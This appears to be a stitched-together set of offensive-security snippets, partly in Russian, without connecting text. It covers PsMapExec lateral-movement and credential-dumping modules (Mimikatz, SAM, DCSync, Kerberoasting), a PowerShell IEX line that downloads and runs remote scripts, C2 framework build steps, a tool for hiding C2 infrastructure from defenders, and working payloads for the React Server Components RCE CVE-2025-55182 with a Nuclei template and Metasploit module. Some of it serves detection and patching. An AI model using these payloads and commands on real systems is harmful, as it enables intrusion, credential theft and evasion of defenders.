cats --contract=openapi.yml -H "Authorization=$token" --server=https://api-url.com -b -k

cats --contract=openapi.yaml --server=https://localhost:8080 --headers=headers.yml --refData=referenceData.yml

cats random --contract=openapi.yaml --server=https://localhost:8080 -H "API-KEY=$token" --mc 500 --path "/users/auth" -X POST --stopAfterTimeInSec 10

GMSA
ConstrainedDelegation
UnconstrainedDelegation
AdminCount
ComputerSIDs
UserDescriptions
UserLogonRestrictions
UserPasswords
UserSIDs

🔵RDP
🔵SessionHunter
🔵SMB
🔵SMB Signing
🔵LDAP / LDAPS
🔵SSH
🔵Spraying
🔵VNC
🔵WinRM
🔵WMI
🔵MSSQL
🔵Kerberoast

🔵 Amnesiac - выполнение Amnesiac C2 пейлоадов
🔵 ConsoleHistory - история в PowerShell
🔵 Files - файлы в типичных директориях
🔵 KerbDump - дамп Kerberos билетов
🔵 eKeys - дамп ключей (Mimikatz)
🔵 LogonPasswords - дамп logon passwords (Mimikatz)
🔵 LSA - дамп LSA (Mimikatz)
🔵 NTDS - реализация DCsync
🔵 SAM - дамп SAM

IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/The-Viper-One/PME-Scripts/main/Invoke-NETMongoose.ps1");IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/The-Viper-One/PsMapExec/main/PsMapExec.ps1")

# Текущий пользователь
PsMapExec -Targets All -Method [Method]

# С паролем
PsMapExec -Targets All -Method [Method] -Username [Username] -Password [Password]

# С хешем
PsMapExec -Targets All -Method [Method] -Username [Username] -Hash [RC4/AES256]

# С билетом
PsMapExec -Targets All -Method [Method] -Ticket [doI.. OR Path to ticket file]

# Дамп SAM файла
PsMapExec -Targets DC.domain.local -Method SMB -Ticket [Base64-Ticket] -Module SAM

# Kerberoasting
PsMapExec -Method Kerberoast -ShowOutput

# Использование модулей
PsMapExec -Targets All -Method [Method] -Module [Module]

# Host A
ft.exe -L 5000:127.0.0.1:3389 --write "\\server\share\1.dat" --read "\\server\share\2.dat"

# Host B
ft.exe --read "\\server\share\1.dat" --write "\\server\share\2.dat"

# Host A
ft.exe -L 5000:192.168.1.50:8888 --write "C:\Temp\1.dat" --read "C:\Temp\2.dat"

# Host B
ft.exe --read "\\tsclient\c\Temp\1.dat" --write "\\tsclient\c\Temp\2.dat"

Server/Client Architecture for Multiplayer Support
Cross-platform GUI client
Fully encrypted communications
Listener and Agents as Plugin (Extender)
Client extensibility for adding new tools
Task and Jobs storage
Files and Process browsers
Socks4 / Socks5 / Socks5 Auth support
Local and Reverse port forwarding support
BOF support
Linking Agents and Sessions Graph
Agents Health Checker
Agents KillDate and WorkingTime control
Windows/Linux/MacOs agents support
Remote Terminal

sudo apt install mingw-w64 make gcc g++ g++-mingw-w64

wget https://go.dev/dl/go1.25.4.linux-amd64.tar.gz -O /tmp/go1.25.4.linux-amd64.tar.gz
sudo rm -rf /usr/local/go /usr/local/bin/go
sudo tar -C /usr/local -xzf /tmp/go1.25.4.linux-amd64.tar.gz
sudo ln -s /usr/local/go/bin/go /usr/local/bin/go

# for windows 7 support by gopher agent
git clone https://github.com/Adaptix-Framework/go-win7 /tmp/go-win7
sudo mv /tmp/go-win7 /usr/lib/

sudo apt install gcc g++ build-essential make cmake mingw-w64 g++-mingw-w64 libssl-dev qt6-base-dev qt6-base-private-dev libxkbcommon-dev qt6-websockets-dev qt6-declarative-dev

make server-ext
make client

Understanding Living Off the Land

The term comes from the military concept of living off the land during operations - using local resources instead of bringing your own supplies. In cybersecurity, it refers to using built-in system tools and legitimate executables for malicious purposes. These binaries are often called LOLBins (Living Off the Land Binaries) or LOLBAs (Living Off the Land Binaries and Scripts

Python and BOF utilites to the determine EPA enforcement levels of popular NTLM relay targets from the offensive perspective

BounceBack is a powerful, highly customizable and configurable reverse proxy with WAF functionality for hiding your C2/phishing/etc infrastructure from blue teams, sandboxes, scanners, etc. It uses real-time traffic analysis through various filters and their combinations to hide your tools from illegitimate visitors

react-server-dom-webpack: 19.0.0, 19.1.0, 19.1.1, 19.2.0
Next.js: 15.x, 16.x (App Router)

=== CVE-2025-55182 - RCE via vm.runInThisContext ===

Test 1: Direct call to vm#runInThisContext with code
1+1 = {"success":true,"result":"2"}

Test 2: vm.runInThisContext with require
RCE attempt: {"success":true,"result":"uid=501(nick) gid=20(staff)..."}

id: CVE-2025-55182

info:
  name: React Server Components RCE - CVE-2025-55182
  author: sickwell
  severity: critical
  description: |
    Remote Code Execution vulnerability in React Server Components via react-server-dom-webpack.
    Missing hasOwnProperty check in requireModule allows prototype chain access to Node.js modules.
  reference:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-55182
    - https://github.com/ejpir/CVE-2025-55182-poc
  classification:
    cve-id: CVE-2025-55182
    cwe-id: CWE-20
  tags: cve,cve2025,rce,react,server-components,nodejs

variables:
  boundary: "----NucleiBoundary{{randstr}}"
  math_code: "Math.PI * 2"
  expected_result: "6.283185307179586"

http:
  - method: POST
    path:
      - "{{BaseURL}}/formaction"
      - "{{BaseURL}}/api/formaction"
      - "{{BaseURL}}/api/v1/login"
      - "{{BaseURL}}/actions"
      - "{{BaseURL}}/server-actions"
    
    headers:
      Content-Type: "multipart/form-data; boundary={{boundary}}"
      User-Agent: "Nuclei - CVE-2025-55182"
    
    body: |
      --{{boundary}}
      Content-Disposition: form-data; name="$ACTION_REF_0"

      --{{boundary}}
      Content-Disposition: form-data; name="$ACTION_0:0"

      {"id":"vm#runInThisContext","bound":["{{math_code}}"]}
      --{{boundary}}--

    extractors:
      - type: regex
        name: vulnerable_path
        part: url
        regex:
          - '(/(?:formaction|api/formaction|api/v1/login|actions|server-actions))'

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "success")'
          - 'contains(body, "result")'
          - 'contains(body, "{{expected_result}}")'
        condition: and

    matchers-condition: and

С помощью нагрузки вроде "$1:__proto__:constructor:constructor" можно получить [Function: Function] — глобальный конструктор;

Соответственно, можем сформировать специальный объект, где then указывал бы на Function.

files = {
    "0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
    "1": (None, '{"x":1}'),
}

crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"███████████████████;",
        "_formData": {
            "get": "$1:constructor:constructor",
        },
    },
}

files = {
    "0": (None, json.dumps(crafted_chunk)),
    "1": (None, '"$@0"'),
}

▪️"then": "$1:__proto__:then"
➡️ чтобы чанк ID=0 переписал собственный .then();

▪️"status": "resolved_model"
➡️ чтобы Chunk.prototype.then перешёл к выполнению initializeModelChunk;

▪️"reason": -1
➡️ чтобы не упасть на моменте toString в initializeModelChunk;

▪️"value": '{"then": "$B0"}'
➡️ чтобы после второго прохода десериализации превратить в thenable и добраться до response._formData.get(response._prefix + obj);

▪️"_prefix"
➡️ здесь произвольный код для выполнения;

▪️"_formData"
➡️ здесь указываем на конструктор;

Уязвимые версии: от React 19 до React 19.2.0
Починили в React 19.2.1

Починили тут: facebook/react/commit/7dc903cd29dac55efb4424853fd0442fef3a8700
Объявили тут: react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components

Уязвимые версии: от Next.js 15 до Next.js 16
Починили в этих версиях

Починили тут: vercel/next.js/commit/6ef90ef49fd32171150b6f81d14708aa54cd07b2
Объявили тут: nextjs.org/blog/CVE-2025-66478

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"█████████████;","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}

CVE-2025-55182 is a critical Remote Code Execution (RCE) vulnerability in React Server Components (RSC) affecting Next.js applications using App Router with Server Actions

The vulnerability exists in the Flight protocol deserialization process, allowing attackers to achieve arbitrary code execution through prototype pollution

use multi/http/react2shell_cve_2025_55102